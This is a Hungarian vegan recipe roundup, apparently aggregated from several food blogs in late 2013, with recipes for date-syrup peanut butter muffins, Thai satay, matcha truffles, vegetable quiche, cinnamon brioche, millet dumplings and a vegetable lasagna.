Egyszer már használtam datolyaszirupot ennél a vegán narancsos csokoládétortánál. Ha nem sikerül beszereznünk, talán házilag is elkészíthetjük. Vízbe áztatnám a kimagozott datolyákat néhány órára, majd leönteném róla a vizet és tiszta vízzel krémesre, folyékonyra pürésíteném robotgépben (szerintem hűtőben néhány napig biztosan eláll az ilyen frissen készített szirup… mellesleg palacsintára locsolva is kiváló!). A muffinok édesítésére azonban használhatunk mézet, agavé- rizs- vagy juharszirupot is. A muffinokat a datolyaszirup színezte ilyen szép bordós barnára, egyébként világosbarna színűek lettek volna és jobban látszódnának az itt-ott felbukkanó csokoládédarabkák.
Gyorsan elkészülnek, mint a muffinok többsége és jól jönnek reggelire, tízóraira, uzsonnára egy kis meleg teával vagy forró csokival.
Vegán földimogyoróvajas muffin datolyasziruppal
(Recept inspiráció: Healthy Happy Life)
Hozzávalók 12 db-hoz:
- 1 és 1/4 csésze tönköly fehérliszt
- 1/3 csésze zabpehely
- 1 evőkanál sütőpor
- 1/2 teáskanál só
- 1 evőkanál chia mag + 3 evőkanál víz (őrölt lenmag is használható chia mag helyett)
- 1/2 csésze mandulatej (szója-, rizs- vagy zabtej is használható)
- 1/2 csésze datolyaszirup
- 1 db érett banán, villával pépesre törve
- 1 teáskanál almaecet
- 1 vaníliarúd kikapart magjai
- 3 evőkanál kókuszolaj, fellangyosítva
- 5 evőkanál földimogyoróvaj, fellangyosítva
- 1/2 csésze (kb. 60 g) étcsokoládé, felkockázva
(A recepthez használt bögre 250 ml-es.)
Melegítsük elő a sütőt 175 fokra. Egy kis tálkában keverjük össze a chia magot a vízzel és hagyjuk állni 5 percig. A kókuszolajat a földimogyoróvajjal langyosítsuk fel egy kis lábasban.
Egy tálban keverjük össze a száraz hozzávalókat: liszt, zabpehely, sütőpor, só. Egy másik tálban keverjük össze a nedveseket: mandulatej, datolyaszirup, almaecet, vanília, banán és a fellangyosított kókuszolaj a mogyoróvajjal. Öntsük a nedves hozzávalókat a szárazhoz és jól keverjük el. Adjuk hozzá a felkockázott csokoládét, keverjük össze és kanállal osszuk el a tésztát egyenlő részben a muffinformákban.
Süssük 175 fokon kb. 20-25 percig. Kivétel előtt azért végezzünk tűpróbát, hogy jól átsültek-e a muffinok.
A gyümölcssaláták új generációja
2013. november 20. Mindennapi ételeink
Tegnap babalátogatóban voltak nálunk nagymama, nagypapa, nagynéni, nagybácsi. :-) Fanni egész nap olyan drága volt, örült mindenkinek, el-elmorzsolt mosolyokat nagymamának, ill. élvezte, hogy ennyien vesszük körbe. Nagyon sok finomságot kaptunk a békés megyei rokonoktól, nemcsak a kert kincseiből, hanem vitamindús grépfrútot, kivit, almát és fagyasztott piros gyümölcsöket is. Így ma reggel gyümölcssalátával indítottam a napomat :-) Hozzávalók: 1 grépfrút 4 db kivi 1 nagyobb alma 10 dkg (fagyasztott) vörösáfonya 1 nagyobb körte 1 citrom leve kevés datolyaszirup -- 4-5 ek. kukoricakeményítő 3 ek. karobpor 0,5 l növényi tej 2 ek. aranybarna nádcukor -- kókuszreszelék, blansírozott mogyoró Elkészítés: A zöldségeket megmossuk és tetszőleges alakúra felszeleteljük, meglocsoljuk citromlével és datolyasziruppal. A pudinghoz 5-6 ek. tejjel összekeverjük a karobport és a keményítőt, hozzáadjuk a cukrot is. A maradék tejet felforraljuk, és amikor forr, akkor hozzáadjuk a karobos-keményítős-cukros keveréket. Alaposan összefőzzük, és ezzel locsoljuk meg a gyümölcsöket, megszórjuk kókuszreszelékkel és a mogyoróval, amelyet bármely más maggal helyettesíthetünk.
Kókuszos zöldbab
Hozzávalók: 2 ek kókuszzsír vagy olaj 2 kk fekete mustármag 6-8 curry levél 2 ek kókuszreszelék (friss vagy szárított) 1 ek reszelt friss gyömbér 2 kk őrölt koriander 1/4 kk őrölt chili (ízlés szerint) 1/2 kk kurkuma 70 dkg zöldbab 1,5 kk só 1,5 dl kókuszkrém A zsiradékot egy lábosban felhevítjük, majd... tovább>>
Krumpli masala
Hozzávalók: 4 ek kókuszzsír (ghi vagy olaj) 1,5 kk fekete mustármag 1/2 kk asafoetida 4-5 curry levél 1 kg krumpli megtisztítva, kockára vágva 2 kk sambar masala 1/2 kk kurkuma 2 kk só A zsiradékot wokban felhevítjük. Kipattogtatjuk benne a fekete mustármagot. Beleszórjuk az asafoetidát és tovább... tovább>>
Vegán thai satay mogyorószósszal
2013. november 13. La Veganista
Komolyan nem tudom, hogy miért vártam ennyit a thai satay elkészítésével. Az íze zseniális, nem nagy kunszt megcsinálni. Csípős szerelem lesz belőle. A satay egyébként indonéziából, Jáva szigetéről származik, de népszerűvé vált más dél-kelet ázsiai országokban is, mint Malajzia, Szingapúr, Thaiföld. A sataynak számtalan variációja létezik, mely egyaránt megvásárolható vándorárusoktól, utcai bódékból és menő éttermekben. Hozzávalók:
10 szelet szejtán (1,5 cm vastag) + 10 db vízbe áztatott bambusznyárs
- 2 gerezd fokhagyma zúzva, vagy apróra vágva
- 2 teáskanál nádcukor vagy barna cukor
- 1/4 teáskanál sambal oelek (ázsiai boltokban, Culinarisban beszerezhető)
- 1 kávéskanál kurkuma
- 1/4 teáskanál curry por
- 1/2 teáskanál őrölt kömény
- 1/2 teáskanál őrölt koriander
- 2 evőkanál mogyoró vagy szezámolaj
A szósz:
- 10 dkg sótlan pirított, összezúzott mogyoró (aprítógépet vagy mozsarat is használhatsz)
- 1-2 evőkanál vörös chili paszta (a thai currypasztát helyettesítjük, mert abban garnélarák, vagy halszósz van)
- 2 dl kókusztej
- 1/2 dl zöldség alaplé
- 1 evőkanál lime vagy citromlé
- 1 evőkanál nádcukor vagy barna cukor
Így készítsd el:
Állítsd össze a pácot. Keverd össze egy tálban a mogyoróolajat, a fokhagymát, a sambalt, a curryt, a köményt, a koriandert, a kurkumát, és a cukrot.
Forgasd be a pácba a szejtánt, és hagyd pihenni, érlelődni a hűtőben minimum 3-4 órán át, de akár egy éjszakán keresztül is.
A pácidő letelte után a szejtán szeleteket tűzd fel hosszában az előzőleg vízbe áztatott nyársakra, majd serpenyőben grillezd aranybarnára.
Miközben sül a szejtán, állítsd össze a mellé kínálható mártást. Egy kisebb lábasban keverd össze a zúzott mogyorót és a chili pasztát
Öntsd hozzá a kókusztejet és a zöldségalaplevet, és forrald fel, majd főzd 5-6 percig.
Legvégül add hozzá a lime vagy citromlevet és a cukrot, mindaddig kavargatva, amíg fel nem oldódik az időközben besűrűsödött mártásban.
Tálaláskor friss zöldség és almaszeleteket kínáljunk hozzá.
Azték-japán kísérlet - zöld teás étcsoki trüffel
2013. november 11. La Veganista
Előrebocsátom, ez nem fogyókúrás recept! Csak az vágjon bele a trüffel gyártásba, aki képes ellenállni a tenyerében gömbölyödő csokigolyóknak. Különlegessége abban rejlik, hogy nem csupán egy dologra tanít meg, hanem mindjárt kettőre. Az első lépésben a natúr vegán étcsoki elkészítését tanuljuk meg, ami akár rögtön táblás csokoládé formába is önthető. A második fázisban növényi tejszínes ganache készül, ami az étcsokihoz keverve, selymesen krémes trüffelt eredményez. Mindezt megkoronázva, a szuper zöld matcha porral is bevonjuk. Ez nemcsak különleges színt eredményez, hanem a legendásan magas antioxidáns tartalma miatt még jót is tesz nekünk.
Hozzávalók (kb. 15-16 db lesz belőle) :
-
2/3 csésze jó minőségű kakaópor
1/3 csésze olvasztott kókuszzsír
100-150 ml rizs, vagy szója habtejszín (hűtőből vedd ki, és felbontás után öntsd le róla a folyadékot, ami a megdermedt tejszínen úszik)
1-2 evőkanál őrölt cukor, (vagy stevia, agavé esetleg juharszirup). Ízlés szerint adagold lehet hozzáadni többet de számolni kell azzal, hogy a növényi tejszín is édes. (Mézet ne használj hozzá, mert nem vegán!)
1/2 teáskanál matcha por (ez helyettesíthető pörköletlen, füstöletlen jó minőségű porrá őrölt zöld teával)
-
+ némi matcha por a trüffelek bevonásához
Így készítsd el:
Olvaszd meg a kókuszzsírt egy kisebb edényben, de ne legyen forró, épp csak folyós.
Keverd el benne a kakaót, édesítsd ízlés szerint porcukorral (vagy steviával, agavé esetleg juharsziruppal). [Ha nem akarsz trüffelt csinálni, akkor ezt a csokimasszát szilikon formába töltve táblás étcsoki vagy csoki érmék készülhetnek belőle. ]
Ha megpróbálkozol a trüffellel, akkor egy másik edényben készítsd el a zöld tea ganache-t. A növényi habtejszínt a lehető legkisebb lángon éppen csak olvaszd fel, és keverd el benne a 1/2 teáskanálnyi matcha port.
Ezután add hozzá és keverd el benne az étcsokit. A kellemesen krémes, de nem folyós állagú anyagot hagyd kihűlni majd tedd hűtőbe, hogy megdermedjen a formázáshoz.
A hűtőből kivéve, próbálj egyenlő méretű golyókat formálni a trüffel krémből, és megforgatni egy matchaporral megszórt kis tálkában. (A megdermedt trüffel a kéz melegétől formálhatóvá válik, de nem fog megolvadni.)
A csokigolyókat jól záródó műanyag vagy üvegdobozban tárolhatod a hűtőben.
"A" vegán zöldséges pite, vagy quiche, és egy szülinapi buli:)
A hétvégén ünnepeltük a férjem szülinapját családi körben (közel 20-an nálunk:)), és az elmúlt években ez már rendszeresen úgy alakult, hogy a húsos ételeket egy kedves ismerős néni készíti, a többi pedig vegán, amit én csinálok nagyrészt. Ennek a délutáni zsúrnak volt része ez a zöldséges pite is, ami áttörő sikerű volt nálam!:) Mert hogy évek óta kerestem egy olyan tojásmentes pite receptet, ami nem túl száraz, hanem valamennyire vissza tudja adni a hagyományos piték állagát és némileg ízvilágát (illetve azt a tojásos ízt valójában már régóta nem keresem, és ez annál sokkal finomabb is volt!:). Jelentem, a jelenlegi állás szerint nálam ez eddig a tuti befutó!! Állagra, ízre is nagyon jó volt! Gyorsan fel is teszem ide a receptjét, mert nagy családi és társasági összejöveteleken igen jól jönnek az ilyen jellegű piték! Ja, és most először használtam fekete sót, melyből mint kiderült egy másik fajtát kellett volna vennem... Én egy sima növényi színnel feketére színezett tengeri sót vettem. Ezzel szemben, a vegán konyhában az enyhén tojásos ízt keltő fekete sót, az indiai 'Kala Nemak' sót szokták használni. A szülinapi buli menüje pedig ez volt vegánban:) Nem maradtunk éhesek...!:))) A képen balról felfelé: - nyers zöldségek mártogatósnak - kukorica csipsz és barna kenyér ropogósok - avokádókrém - csírák - tepsiben sült zöldségek - rukkola saláta + vegyes zöld saláta - vegán francia saláta - zöldséges vegán pite - paprika szószos zöldséges rétes - Greta Stohr tofus cannellonija, amit a húgom készített, az még nem volt rajta a képen:) A pitét egyébként bármilyen zöldséggel készíthetitek szerintem, én is lecseréltem az eredeti karfiolt brokkolira. Vegán zöldséges pite, vagy quiche (tej- és tojásmentes) Hozzávalók: 1 cs. tej- és tojásmentes leveles tészta (pl. Tante Fanny), vagy teljes kiőrlésű leveles tészta házilag ITT 300 g karfiol, kis rózsákra szedve 2 tk. olaj 1/4 tk. tengeri só 1 közepes vöröshagyma, finomra aprítva 1 közepes piros kaliforniai paprika, felaprítva 1 közepes zöld kaliforniai paprika, felaprítva A pite krémes részéhez: 105 g csicseriborsó liszt 600 ml víz 1 bio zöldségleves kocka (pl DM-es) 1/2 tk. zsálya 1/2 tk. kurkuma 3 ek. élesztőpehely 1/2 tk fekete só (Kala Nemak típusú), ha nincs, akkor sima tengeri sóból 1/4 tk. Egyéb hozzávaló: 4-5 szelet paradicsom a díszítéshez olvasztott bio növényi margarin, vagy kókuszzsír Melegítsük elő a sütőt 200 fokra. Tegyünk egy lábasba 1 tk. olajat, és 1/4 tk sót, keverjük össze, és öntsük a karfiolra. Egy sütőpapírral bélelt tepsire öntsük rá az olajos-sót karfiolt, és süssük a sütőben 15-20 percig, amíg megpuhul. Vegyük ki és tegyük félre. Miközben sül a karfiol, tegyük a másik teáskanál olajat egy lábasba, és pirítsuk meg rajta a hagymát egy csipet sóval, kb. 3-4 percig. Adjuk hozzá a paprikát, és alacsony tűzön süssük még 7-8 percig, amíg a paprika is megpuhul. Tegyük félre. Egy kiolajozott piteformába terítsük ki a tésztát, szurkáljuk ki villával az alját, és vaksütéssel süssük 15 percig. A pite krémes részéhez egy tálban keverjük össze a csicserilisztet 250 ml vízzel. Egy magas falú lábasban tegyük fel forrni a maradék vizet a zöldségleves kockával, az élesztőpehellyel, a kurkumával, zsályával és a fekete sóval. Amikor forrni kezd, lassan, állandó keverés közben adjuk hozzá a csicseris keveréket. Ha már jól elkeveredett, akkor alacsonyabb tűzön, folyamatosan keverve, még főzzük 2-3 percig, amíg elkezd besűrűsödni. Tegyük bele a karfiolt és a zöldségeket, és jól keverjük össze. Egy elég sűrű masszát kapunk, amit öntsünk rá az elősütött tésztára, és díszítsük a paradicsom karikákkal. Tegyük be a sütőbe 20 percre. Utána vegyük ki a sütőből, öntsük rá az olvasztott növényi margarint, és tegyük vissza a sütőbe még 5 percre. Sütés után, fogyasztás előtt hűtsük ki teljesen. Tálalhatjuk hidegen, vagy melegen is. Ha melegen tálaljuk, akkor először hűtsük ki teljesen, és fogyasztás előtt 5 percre melegítsük fel a sütőben. Forrás és fázisfotók ITT!
Édes bűnök - a fahéjas briós
2013. november 7. La Veganista
Ezt a receptet Limara oldalán találtam (a tészta formázásáról is nála láthattok remek képeket). Legalább egy éve rendszeresen sütöm veganizált változatban. Általában a vasárnap reggeli kávé mellé készül el. Mindig kicsábítja a konyhába a ragadozókat, akik egy pillanat alatt felfalják. Kisülés után félórával már csak a briósok édes, fahéjas illata marad. Ha ízlett ez a verzió, érdemes kipróbálni akár mákos és diós töltelékkel, nálunk az is jól fogy.
Hozzávalók:
- 50 dkg BL55 finomliszt
- csipet só
- 1/4 tk őrölt Bourbon vanília - elhagyható
- 3 ek olívaolaj
- 2,5 - 3dl ízesítetlen rizstej (legyen tartalékban plusz langyos rizstej, mert lisztfüggő, hogy mennyit vesz fel) + 2-3 kanálnyi a kenéshez
- 7 dkg cukor
- 1 csomag instant élesztő
- 10 dkg puha kókuszzsír
- fahéj
- porcukor
Így készítsd el:
A lisztet kimérjük, tálba szitáljuk. Belekeverjük a csipetnyi sót, és a vaníliát.
Az élesztőt a cukor és egy kanálnyi liszt társaságában elkeverjük a meglangyosított rizstejben. Hagyjuk aktiválódni. (Elindul felfelé és barna hab képződik a tetején.)
Az élesztős rizstejet a lisztre öntjük, hozzáadjuk az olívaolajat, és néhány perc alatt összedolgozzuk. Ezután lefedve félretesszük, hogy háborítatlanul megkelhessen 1-1,5 óra alatt.
A megdagasztott tésztát lisztezett gyúródeszkára borítjuk, 8-10 egyenlő részre osztjuk (Használjunk mérleget, ha szemre nem megy, hogy egyformák legyenek a briósok.)
A tésztadarabokból gyúrjunk zsemlebucikat és pihentessük a deszkán negyedórát. (Pihentetés nélkül sokat fogunk káromkodni, mert a tészta ellenáll majd a nyújtási kísérletünknek.)
Az újra puha bucikat egymás után ovális formára nyújtjuk vékonyan megkenjük puha kókusz zsírral, és bőséggel megszórjuk fahéjas porcukorral, és feltekerjük. Ügyeljünk rá, hogy mindenhol odatapadjon a tészta, különben kifolyik belőle a töltelék.
A tenyerünk alatt sodorva, hurkaformájúra nyújtjuk a deszkán a megtöltött tésztát, és az egyik végét lelapítva, csiga alakban feltekerjük.
A megformázott briósokat a sütőpapírral bélelt tepsibe tesszük. Próbáljuk olyan távolságra elhelyezni őket egymástól, hogy lehetőleg sülés közben ne dagadjanak össze.
Adjunk a tésztának újabb 20-30 percet, hogy konyharuhával letakarva pihenjen a sütőlemezen. Eközben melegítsük elő a sütőt 180 °C-ra.
Mielőtt betoljuk a tepsibe, a briósok tetejét kenjük meg langyos rizstejjel, 15-18 perc alatt süssük aranybarnára. Szedjük ki hűtőrácsra, és ne tápláljunk hiú reményeket. Nem lesz ideje kihűlni.
Narancsos-mazsolás-kókuszos karfiolsaláta
2013. november 6. Napló étkeinkről, életünkről
Közeledik a tél, ezt onnan tudom, mert párom már narancsot is hozott nekem, így most narancsos karfiol salátát készítettem. A karfiolt nagy-lyukú reszelőn lereszeltem, majd összekevertem mazsolával, kókuszreszelékkel, és az összedarabolt naranccsal. Fahéjjal és gyömbérrel ízesítettem. A mazsolát nem áztattam be előre, ezért a salátának kellett egy kis idő, hogy összeérjen. Nagyon finom (volt), és gyorsan elkészíthető! Karfiol szezon lévén, néhány régi receptem: Variációk karfiolra nyersen
Gyümölcstál másképp
2013. október 27. Nyers konyha
A hétköznapi étkezésem eléggé leegyszerűsödött. Egyre kevesebb időt töltök a konyhában. Most egy gyors és egyszerű ételt mutatnék be, amit kicsit az összetevőket variálva szinte minden nap fogyasztok. Általában reggelire, vagy ebédre. Gyümölcstál másképp: 1- 2 alma 1 banán 2- 3 szelet sárgadinnye fahéj kókuszdara mák 1 evőkanál zabpehely Az almákat lereszelem, vagy kicsi s késes robotgéppel felaprítom. Rákarikázok 1 banánt, és hozzászelek egy kevés sárgadinnyét. Sárgadinnye helyett van, hogy szőlőt, kivit, ananászt dobok rá, azt ami éppen van. Megszórom fahéjjal, mákkal, kókuszdarával és zabpehellyel. Kicsit megkeverem, és kész az isteni, lédús édes finomság. Nem lehet megunni!:)
Barna-és vöröslencse pástétom
2013. október 23. Mindennapi ételeink
Finom kenyérre való pástétom, amely köszönhetően a lencse fehérjetartalmának, igen egészséges. :-) Hozzávalók: 1 csésze bio barna lencse 1/2 csésze bio vöröslencse 1 nagy fej vöröshagyma 3-4 gerezd fokhagyma 3 ek. kókuszzsír 1 ek. olívaolaj 1 babérlevél só - ízlés szerint ételízesítő mix 1 ek. mustár 1 kisebb csokor petrezselyem Elkészítés: A barna és vöröslencsét kiválogatjuk és külön-külön babérleveles, sós vízben megfőzzük. (Más főzési idő miatt szükséges külön főzni: a vöröslencse sokkal hamarabb megpuhul.) Eközben meghámozzuk a hagymát és 1 ek. olívaolajon és ugyanannyi víz keverékén megpároljuk. Amikor megfőttek a lencsék, leszűrjük őket, és a hagymás alaphoz adjuk. Ízesítjük az ételízesítő mix-szel, ill. fokhagymával, hozzáadjuk a kókuszzsírt és botmixerrel tetszőleges állagúra elturmixoljuk. Hozzáadjuk a felaprított petrezselymet. Kihűlés után kenyérre kenve tálaljuk.
Szőlős-mákos árpa
Vasbomba reggelire. Az otelló szőlő és a mák igazán gazdag vas-forrás. Az árpa, vagyis a gersli pedig jó hatással van a cukorbetegségre és a koleszterinszintre is. Sejtépítő, méregtelenítő és gyulladáscsökkentő hatása mellett erősíti a csontrendszert is. Aki reggelire ezt az ételt választja és készíti el, az megajándékozza testét és szervezetét mindezzel a sok egészséges jóval.
A recept:
Hozzávalók:
- 20 dkg árpa
- 2 evőkanál biocsicsóka-sűrítmény (elhagyható)
- igény szerint édesítőszer (méz, gyümölcscukor, nyírfacukor, stb. - ki mit használ)
- darált mák
- otelló szőlő
- víz
- esetleg kókuszreszelék
Elkészítés:
Az árpát alaposan megmossuk, az a jó, ha van időnk arra, hogy áztassuk. Egy éjszakát vagy legalább pár órát. Ha nincs rá mód, akkor a megmosott árpát feltesszük főzni. Áztatás esetén gyorsabban megfő.
A megfőtt árpához hozzákeverjük a biocsicsóka-sűrítményt, majd az édesítőszerrel elkevert és megdarált mákot. Hozzáadjuk a leszemezett és megmosott otelló szőlőszemeket. Az egész tetejét megszórhatjuk egy kevés kókuszreszelékkel.
Hajdinás-kókuszos-szőlős pohárkrém
2013. október 14. Mindennapi ételeink
Hozzávalók: 30 dkg hajdina 4 dl növényi tej 1 citrom reszelt héja 10 dkg nyírfacukor (xillit) 2 tk. vaníliapor v. vaníliesszencia v. vaníliás cukor --- 50 dkg nagy szemű szőlő A kókuszkrémhez: 5 dl növényi tej 4 ek. kukoricakeményítő 15 dkg kókuszreszelék 10 dkg nyírfacukor (xillit) 2 cs. Bourbon vaníliás cukor Elkészítés: A hajdinát szitába téve alaposan megmossuk. A tejet felforraljuk, beleöntjük a hajdinát, és kb. 30 perc alatt puhára főzzük. A főzés végén ízesítjük vaníliaporral, xilittel, reszelt citromhéjjal. A pudingot hagyományos módon készítjük el: a tejet felforraljuk, közben a keményítőport 4-5 evőkanál hideg tejjel csomómentesre keverjük, és a forrásban lévő tejbe öntjük. Hozzáadjuk a kókuszreszeléket és a xillitet is, folyamatosan keverve sűrűsödésig főzzük. A hajdinát és a krémet is lehűtjük. Majd négy magas falú pohárban rétegekbe rakjuk: alulra hajdina kerül, rá kókuszkrém, arra száráról leszedett szőlőszemek, majd megismételjük a rétegezést.
Vegán kókuszos túrógombóc datolyasziruppal
2013. október 8. Mindennapi ételeink
Laktózérzékenyeknek vagy vegánoknak különösen ajánlott, hiszen nagyon finom csemege. :) Hozzávalók: 20 dkg köles 1/2 l növényi tej 2 ek. kókuszolaj 10 dkg nyírfacukor 1/2 citrom héja és leve 10 dkg mazsola 10 dkg kókusz vaníliapor/vaníliás cukor -- datolyaszirup teljes őrlésű kenyérmorzsa Elkészítés: A növényi tejet felforraljuk, majd hozzáadjuk a kókuszolajat és a szitán átmosott kölest. Nyírfacukorral, mazsolával, kókusszal, citromhéjjal ízesítjük. Fedő alatt puhulásig főzzük, közben többször megkeverjük. Eközben a kenyérmorzsát zsiradék nélküli serpenyőben megpirítjuk. A kölest kihűtjük, majd gombócokat formálunk és beleforgatjuk a morzsába. Datolyasziruppal tálalva igazán különleges, egzotikus csemege. A kevésbé ismert datolyaszirupról pár szó: Már a Bibliában is emlegetett datolya egyre népszerűbb hazánkban. Sokan nem is sejtik, hogy gyógyhatása sem lebecsülendő. A datolya természetes cukortartalma rendkívül magas, de tartalmaz B-vitamint, kalciumot, magnéziumot, rezet, foszfort, káliumot, cinket, illetve vasat is. Nagy mennyiségű ásványanyag tartalma miatt vértisztító hatású. Segíti a szervezet regenerációját. Magas cukortartalma miatt cukorbetegek számára nem javasolt. Felhasználása: cukor és méz helyettesítésére. Édesítésre, keksz, müzli szelet, sütemény, szószok, joghurtok, szója alapú tej és desszert, fagylaltok, szörpök, italok készítésre. Jó tudni: a növényi szirupok az emberi szervezet számára a legkedvezőbb édesítőszerek
Növényi sajtos-mákos rúd
2013. október 3. Mindennapi ételeink
Nagyon-nagyon finom és egészséges ropogtatni való. Hozzávalók: 10 dkg durumliszt 5 dkg finomliszt 5 dkg teljes őrlésű liszt 1/4 csomag foszfátmentes sütőpor 1-2 ek. Sojade szójatejszín 12,5 dkg kókuszzsír 3 dkg egész mák 5 dkg Viofast növényi füstölt sajt 2 tk. só -- szezámmag mák Elkészítés: A liszteket és a foszfátmentes sütőport összekeverjük. Hozzáadjuk a felolvasztott kókuszolajat, a mákot, a lereszelt növényi sajtot, a szójatejszínt, és homogén tésztát gyúrunk. 10 percig pihentetjük, majd lisztezett deszkán kinyújtjuk, megkenjük olívaolajjal, megszórjuk szezámmaggal, mákkal és csíkokat vágunk. Előmelegített sütőben 160 fokon 15 perc alatt készre sütjük. Közben figyeljük, mert könnyen leég. Nagyon omlós, finom rágcsálnivaló. :-)
Mogyorós "Túrógombóc"
2013. szeptember 28. Fittanyuka Blog
Ez a gombóc egy korábbi receptem újragondolva. Annyiban változott a recept, hogy nemcsak tej,-tojás,-cukormentes, hanem gluténmentes is. Nagyon finom, fogyaszthatjuk desszertként, vagy akár egy ebéd második fogásaként. A gyerekek imádni fogják:)! Hozzávalók: 150 g köles 80 g nyírfacukor 500 ml növényi tej 50 g bio margarin 1 db citrom lereszelt héja 1/2 citrom leve késhegynyi őrölt bourbon vanília "Morzsa": 200 g török mogyoró 3-4 evőkanál kókusz cukor 1 tk bio margarin A kölest a nyírfacukorral, vaníliával együtt puhára főzzük a növényi tejben. Ha szükséges öntünk hozzá kevés vizet, hozzákeverjük a citromlevet, citrom lereszelt héját és a margarint. Lefedjük és hagyjuk teljesen kihűlni. Én előző este elkészítem és másnap már csak gombócokat formázok belőle. A mogyorót megőröljük és a bio margarinon kissé megpirítjuk. Vizes kézzel tetszőleges nagyságú gombócokat formázunk és meghempergetjük a mogyoró "morzsában". Tálalás előtt megszórjuk a kókusz cukorral!Fittanyuka
Tepertőkrémes szívecskék
Két recept párosításával alkottam meg ezeket a kedves kis szívecskéket, amik el kell mondjam, pikk-pakk elfogytak. Ha nem szív-formával szaggatjuk ki, egyszerű tepertős-pogácsát is tudunk készíteni így - természetesen vegán módra. Gasztro-ajándéknak, party-falatnak, útravalónak is remek eledel.
Első körben készítünk egy kis kenyér-tésztát, majd amíg az kel, elkészítjük a hamis-tepertő krémet.
Amikor a kenyér tésztája megkelt, a pástétom is kész, nincs más dolgunk, mint a tészta egy részét (mondjuk a felét) összekeverni a krémmel, lisztezett deszkán szívecskéket szaggatni és kisütni.
A maradék tésztát, amit nem kevertünk be, felhasználhatjuk kenyér vagy bagett, vagy más "péktermék" készítésére.
Kenyér - alaprecept:
A recept:
Hozzávalók:
- 2,7 dkg friss élesztő
- 3,5 dl meleg víz
- 25 dkg teljes kiőrlésű liszt
- 35 dkg fehér liszt (BL-55)
- 2 evőkanál olaj
- 1 dkg só
Elkészítés:
A kenyérsütő üstjébe belemorzsoljuk az élesztőt, majd ráöntjük a meleg vizet.
Sokak szerint kell hozzá valami édes dolog is. Mint például egy kiskanál méz, vagy biocsicsóka. Régen én is raktam az élesztőre mézet, vagy biocsicsókát, azonban láttam egy rövidebb filmet (Ízes hagyományok), ahol falusi asszonyok sütöttek kenyeret, és legfeljebb sót adtak az élesztőhöz és a vízhez, de cukrot semmiféleképpen nem. Azóta édesítő nélkül készítem a kenyeret.
Várunk egy rövid ideig, míg az élesztő feloldódik a víz tetejére. Ha cukrot, vagy mézet is raktunk hozzá, akkor az élesztő a víz felszínére kel. Nálam ennek hiányában csak feloldódik.
Közben elővesszük a többi hozzávalót.
Mikor feloldódott az élesztő, a fenti sorrendben hozzáadjuk a többi anyagot is.
Beletesszük a kenyérsütő gépbe és a dagasztó-kelesztő programra állítjuk be, majd a megkelt tésztát a fentiek szerint használjuk fel. (Egy részéből tepertős szívecskéket, a másik feléből pedig kiflit, bagettet, kenyeret, stb. süthetünk.)
Hamis tepertőkrém
A recept:
Hozzávalók:
- 14 dkg szezámmag
- 8 dkg lenmag
- olívaolaj (hidegen sajtolt, extra szűz az ajánlott)
- kókuszzsír
- piros fűszerpaprika
- őrölt köménymag
- só
Elkészítés:
A szezám felét, vagyis 7 dkg-t megpirítunk olajmentesen lehetőleg teflon vagy kerámia edényben. Amíg pirul, a lenmagot és a szezámmag másik felét megdaráljuk, minél porhanyósabb állagúra. Amikor a szezámmag megpirult, szintén a darálóba tesszük. (Érdemes megvárni, míg kicsit kihűl.) A ledarált magokat összekeverjük és fele-fele arányban olívaolajat és kókuszzsírt teszünk hozzá, valamint ízlés szerint sózzuk, őrölt fűszerpaprikát és őrölt köménymagot keverünk hozzá. Ha nincs otthon kókuszzsír, készíthetjük csak olívaolajjal, de a hűtőben a kókuszzsíros változat jobban megdermed.
Szívek elkészítése:
A hamis tepertőkrémet és a kenyértészta felét egy tálban összegyúrjuk. Bizonyára némi lisztet is kell hozzákeverni. Lisztezett deszkán ujjnyi vastagságúra nyújtjuk a tésztát, majd szív alakú szaggatóval, ha az nincs, akkor pogácsa szaggatóval, vagy kis átmérőjű pohárral kiszaggatjuk a tésztát. Sütőpapíros tepsiben kb. 20-30 perc alatt készre sütjük. Ha több tepsivel készítjük, a második tepsinél már kevesebb sütési időre van szükség.
Vendégeknek is különleges falatok, főleg, ha koktélparadicsomot is adunk hozzá. Néhány darabok szép szalvétába és celofánba csomagolva aranyos gasztro-ajándék lehet azoknak, akik inkább "sósszájúak".
Gyömbéres-müzlis muffin
2013. szeptember 20. Vegavarázs
Iskolába, tízóraira, kirándulásra… Hozzávalók: 2,5 dl müzli (teljesen natúr, cukrozatlan) 1,5 dl forró víz 2,5 dl liszt 1 dl nyírfacukor 3 ek olvasztott kókuszzsír 1 ek mazsola 2 ek kandírozott gyömbér (vagy bármilyen aszalt gyümölcs, pl. szilva) 1,5 dl joghurt 1 kk szódabikarbóna 1 kk... tovább>>
"Tejszínes",- Kukoricás Lasagna
2013. szeptember 16. Fittanyuka Blog
...sok-sok zöldséggel gazdagítva, folytathatnám a recept címét. Ugyanis a kukorica csak egyik szereplője ennek a receptnek, gyakorlatilag annyi és olyan zöldségekkel gazdagíthatjuk amelyek a kedvenceink, vagy éppen rendelkezésünkre állnak. Nálam a spenót, padlizsán, gomba, hagyma, cukkini volt a választás. Ideális főétel, természetesen tej,-laktóz és mindenféle állati fehérje nélkül! Hozzávalók: 4 fő részére 8-9 db durum lasagna lap 200 g kukorica ( fagyasztottat használtam) 1 db kisebb cukkini 1 fej vöröshagyma 2 maréknyi friss spenótlevél 1/2 db padlizsán 200 g csiperke gomba Besamell mártáshoz: 2-3 evőkanál fehér tönkölyliszt vagy zabliszt 500 ml szójatej - édesítés nélküli! 1 evőkanál kókusz olaj 2 kk himalaya só késhegyni őrölt kardamon késhegynyi őrölt zöld bors 2 cikk fokhagyma A zöldségeket előkészítjük: a cukkinit, hagymát, gombát, padlizsánt vékony szeletekre vágjuk. Mindig kérdés, hogy a padlizsánt lehéjazzuk-e? A válaszom nem, a héja ehető, viszont aki nem szereti nyugodtan lehéjjazhatja. A kukoricát kevés vízzel és sóval puhára pároljuk, a spenótleveleket csak megmossuk. Elkészítjük a besamelt: A felmelegített kókuszolajon, alacsony hőfokon, vagy lángon a lisztet csomómentesre keverjük kézi habverő segítségével és állandó keverés mellett hozzáöntjük a hideg tejet. Addig kavarjuk ameddig besűrűsödik. Ízesítjük a kardamonnal, zöld borssal, fokhagymával. Egy tűzálló szögletes vagy téglalap alakú tálat kikenünk kevés olajjal és keveset öntünk a besamell mártásból erre rétegezzük a lasagne lapokat ( én olyat vásároltam amelyet nem szükséges előfőzni, ez fel van tüntetve a csomagoláson). Majd újabb besamell réteg következik és jöhetnek a zöldségek: kukorica, hagyma, stb. Újabb lasagne lapok következnek, most újra zöldségek és befejezésként, legvégén a besamell mártás. Előmelegített sütőben 180 C fokon 20-25 percig sütjük. 